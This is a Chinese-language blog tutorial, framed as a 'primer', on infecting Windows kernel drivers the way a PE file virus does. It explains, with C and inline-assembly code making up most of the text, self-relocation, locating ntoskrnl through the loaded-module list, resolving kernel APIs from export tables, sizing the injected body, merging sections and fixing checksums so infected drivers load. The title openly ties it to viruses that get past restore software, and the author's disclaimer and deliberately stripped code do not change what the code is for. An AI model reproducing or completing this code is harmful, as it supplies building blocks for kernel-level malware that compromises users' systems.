驱动感染技术,可写穿透还原软件的病毒的技术
用的正道上,可以写穿透还原软件的游戏更新软件!
标 题:
【原创】驱动感染技术扫盲(C描述)
上周的上周的....周末有位同学提到过驱动感染问题,而刚好周末也没有地方可去,所以就有了这篇文章的出现.既然是扫盲版,那肯定是没有什么高深的东西了,只是一些奇淫技巧,高手请自动跳过。 好了,回归正题,很多年前(其实也就4, 5年,拌一下老人,呵呵)玩Ring3下PE感染的时候就用过相关的东西,那么我们来想想,一个标准的PE感染要解决哪几个问题呢? 1、重定位问题 在汇编里可以很简单的使用下面这种方式来重定位代码或全局数据: Start: call lbl_Next lbl_Next: pop ebx sub ebx, 5 sub ebx, offset Start 要访问全局数据就这样:Mov eax, dword ptr[ebx + GlobalData] 那么用C语言里怎么重定位呢,呵呵,有人说过在C里不能嵌汇编吗?没有,嘿,那就用汇编,如: /** *@brief 取得全局变量或函数重定位后的地址 * *@param[in] pVar 全局变量或函数的地址 *@return 返回全局变量或函数的实际地址 */ PVOID KGetGlobalVarAddr(PVOID pVar) { PVOID pCurAddr = NULL; __asm { Start: call lbl_Next lbl_Next: pop eax sub eax, 5 sub eax, offset Start add eax, pVar mov pCurAddr, eax } return pCurAddr; } 访问全局数据就成这样:pData = KGetGlobalVarAddr(&GlobalData); 2、引入表问题 得到ntoskrnl基址 大家都知道DriverEntry函数的第一个参数是一个DriverObject,该参数的结构如下 nt!_DRIVER_object +0x000 Type : Int2B +0x002 Size : Int2B +0x004 DeviceObject : Ptr32 _DEVICE_object +0x008 Flags : Uint4B +0x00c DriverStart : Ptr32 Void +0x010 DriverSize : Uint4B +0x014 DriverSection : Ptr32 Void +0x018 DriverExtension : Ptr32 _DRIVER_EXTENSION +0x01c DriverName : _UNICODE_STRING +0x024 HardwareDatabase : Ptr32 _UNICODE_STRING +0x028 FastIoDispatch : Ptr32 _FAST_IO_DISPATCH +0x02c DriverInit : Ptr32 +0x030 DriverStartIo : Ptr32 +0x034 DriverUnload : Ptr32 +0x038 MajorFunction : [28] Ptr32 其中DriverSection成员指向LDR_DATA_TABLE_ENTRY结构,如下: +0x000 InLoadOrderLinks : _LIST_ENTRY +0x008 InMemoryOrderLinks : _LIST_ENTRY +0x010 InInitializationOrderLinks : _LIST_ENTRY +0x018 DllBase : Ptr32 Void +0x01c EntryPoint : Ptr32 Void +0x020 SizeOfImage : Uint4B +0x024 FullDllName : _UNICODE_STRING +0x02c BaseDllName : _UNICODE_STRING +0x034 Flags : Uint4B +0x038 LoadCount : Uint2B +0x03a TlsIndex : Uint2B +0x03c HashLinks : _LIST_ENTRY +0x03c SectionPointer : Ptr32 Void +0x040 CheckSum : Uint4B +0x044 TimeDateStamp : Uint4B +0x044 LoadedImports : Ptr32 Void +0x048 EntryPointActivationContext : Ptr32 Void +0x04c PatchInformation : Ptr32 Void DllBase、SizeOfImage、FullDllName、BaseDllName等等都是好东西呀,呵呵 通过遍历这张表得到ntoskrnl的基址和大小,如下 /** *@brief 根据驱动模块名返回对应的映像基址和映像大小 * *@param[in] pwszModuleName 驱动模块名 *@param[in] pulModuleSize 返回驱动模块的大小 *@return 返回0表示失败,其它值是驱动模块基址 */ ULONG KGetModuleBase(WCHAR *pwszModuleName, ULONG *pulModuleSize) { ULONG ulModuleBase = 0; LIST_ENTRY *Entry = NULL; LDR_DATA_TABLE_ENTRY *DataTableEntry = NULL; PDRIVER_object DriverObject = KGetGlobalVarAddr(g_pDriverObject); Entry = ((LIST_ENTRY*)DriverObject->DriverSection)->Flink; do { DataTableEntry = CONTAINING_RECORD(Entry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); if (DataTableEntry->EntryPoint && DataTableEntry->BaseDllName.Buffer && DataTableEntry->FullDllName.Buffer && DataTableEntry->LoadCount ) { if ( !KWcsNiCmp( DataTableEntry->BaseDllName.Buffer, pwszModuleName, DataTableEntry->BaseDllName.Length / sizeof(WCHAR) ) ) { ulModuleBase = DataTableEntry->DllBase; if (pulModuleSize) { *pulModuleSize = DataTableEntry->SizeOfImage; } goto Exit0; } } Entry = Entry->Flink; } while (Entry != ((LIST_ENTRY*)DriverObject->DriverSection)->Flink); Exit0: return ulModuleBase; } (注:也可以用上面的方法来枚举已经加载的驱动列表) 通过导出表取得函数地址 /** *@brief 根据函数名返回函数对应的RVA地址 * *@param[in] pe PE对象 *@param[in] Name 导出表内的函数名 *@return 返回表示失败,其它值是函数的RVA地址 */ ULONG KPEGetFuncRVAByName(KPELIB *pe, CHAR *pszFuncName) { ULONG FuncRVA = 0; ULONG *puFuncNameAddress = 0; USHORT *puAddressOfOrd = 0; ULONG *puAddressOfFunc = 0; ULONG i = 0; USHORT Index = 0; PUCHAR pFuncName = NULL; ULONG FuncNameRVA = 0; PROCESS_ERROR(pe->pExportEntry); puFuncNameAddress = (ULONG*)( pe->pExportEntry->AddressOfNames + pe->pMap); puAddressOfOrd = (USHORT*)( pe->pExportEntry->AddressOfNameOrdinals + pe->pMap); puAddressOfFunc = (ULONG*)( pe->pExportEntry->AddressOfFunctions + pe->pMap); for (i = 0; i < pe->pExportEntry->NumberOfNames; i++) { Index = puAddressOfOrd[i]; FuncNameRVA = puFuncNameAddress[i]; pFuncName = (PUCHAR)( pe->pMap + FuncNameRVA); if (KStrCmp(pszFuncName, (CHAR*)pFuncName) == 0) { FuncRVA = puAddressOfFunc[Index]; break; } } Exit0: return FuncRVA; } /** *@brief 根据内核映像初始一个PE对象 * *@param[in] Buffer 内核映像基址 *@param[in] uFileSize 内核映像大小 *@param[out] pe PE对象 *@return 返回STATUS_SUCCESS时成功,其它值为失败 */ int KPEInitFromMem(PUCHAR Buffer, ULONG uFileSize, KPELIB *pe) { int nResult = STATUS_UNSUCCESSFUL; if (!pe) { goto Exit0; } pe->pDosHdr = (PIMAGE_DOS_HEADER)Buffer; pe->pNtHdr = (PIMAGE_NT_HEADERS32)(Buffer + pe->pDosHdr->e_lfanew); pe->pSecHdr = (PIMAGE_SECTION_HEADER)( pe->pDosHdr->e_lfanew + pe->pNtHdr->FileHeader.SizeOfOptionalHeader + 0x18 + Buffer ); pe->pExportEntry = (PIMAGE_EXPORT_DIRECTORY)( Buffer + pe->pNtHdr->OptionalHeader.DataDirectory[0].VirtualAddress ); pe->pImportEntry = (PIMAGE_IMPORT_DESCRIPTOR)( Buffer + pe->pNtHdr->OptionalHeader.DataDirectory[1].VirtualAddress ); pe->pBaseReloc = (PIMAGE_BASE_RELOCATION)( Buffer + pe->pNtHdr->OptionalHeader.DataDirectory[5].VirtualAddress ); pe->IsInitSuccessed = TRUE; pe->pMap = Buffer; pe->uMapSize = uFileSize; nResult = STATUS_SUCCESS; Exit0: return nResult; } /** *@brief 根据函数名得到函数的地址,可以理解为GetProcAddress * *@param[in] pwszModuleName 驱动模块名 *@param[in] pszFuncName 函数名 *@return 返回表示失败,其它值是函数的地址 */ ULONG KGetApiAddr(WCHAR *pwszModuleName, CHAR *pszFuncName) { int nRetCode = FALSE; ULONG ulApiAddr = 0; ULONG ulNtosBase = 0; ULONG ulNtosSize = 0; KPELIB pe; ulNtosBase = KGetModuleBase(KGetGlobalVarAddr(pwszModuleName), &ulNtosSize); if (!ulNtosBase) { goto Exit0; } nRetCode = KPEInitFromMem((PUCHAR)ulNtosBase, ulNtosSize, &pe); if(!NT_SUCCESS(nRetCode)) { goto Exit0; } ulApiAddr = KPEGetFuncRVAByName(&pe, KGetGlobalVarAddr(pszFuncName)); if (!ulApiAddr) { goto Exit0; } ulApiAddr += ulNtosBase; Exit0: return ulApiAddr; } 使用示例: WCHAR g_Ntoskrnl[] = L"ntoskrnl.exe"; CHAR g_ApiName[] = "NtCreateFile"; pFunc = KGetApiAddr( KGetGlobalVar(g_Ntoskrnl), KGetGlobalVar(g_ApiName) ); 其它的不多说了,大家应该对这块是已经熟得不能再熟了^_^ 3、感染体大小的取得 我的解决方案是: 在所有的代码和数据前面放置KGetStartAddr函数 /** *@brief 取得当前函数的地址 * *@return 返回当前函数的地址 */ ULONG __declspec(naked) KGetStartAddr() { __asm { call lbl_Next lbl_Next: pop eax sub eax, 5 ret } } 在所有的代码和数据前面放置KGetEndAddr函数 /** *@brief 取得当前函数末的地址 * *@return 返回前函数末的地址 */ ULONG __declspec(naked) KGetEndAddr() { __asm { call lbl_Next lbl_Next: pop eax add eax, 5 ret } } 感染体大小= KGetEndAddr() - KGetStartAddr() 4、把.data节和.text节合并 方法: 把VC2005的工程属性Linker->Advanced->Merge Sections字段改成.data=.text 5、重新计算文件CheckSum,对于驱动来说,这个很重要,不重新计算驱动会加载失败 从2000源代码里A出来的,具体看源代码 6、记不起来了,具体看源代码,自己慢慢调,慢慢蓝,嘿 声明: 本文的目的不是在教大家怎么写驱动感染病毒,纯粹是一种技术交流,使用本文所演示的技术所造成的一切影响都与本人无关。 源代码说明: 代码被我删除了一些东西,所以不要问我怎么编译通不过,懂得相关技术的人自然很容易补齐,这也是为了防止有人直接A过去干坏事^_^ |
驱动感染技术,可写穿透还原软件的病毒的技术
最新推荐文章于 2024-10-05 10:33:20 发布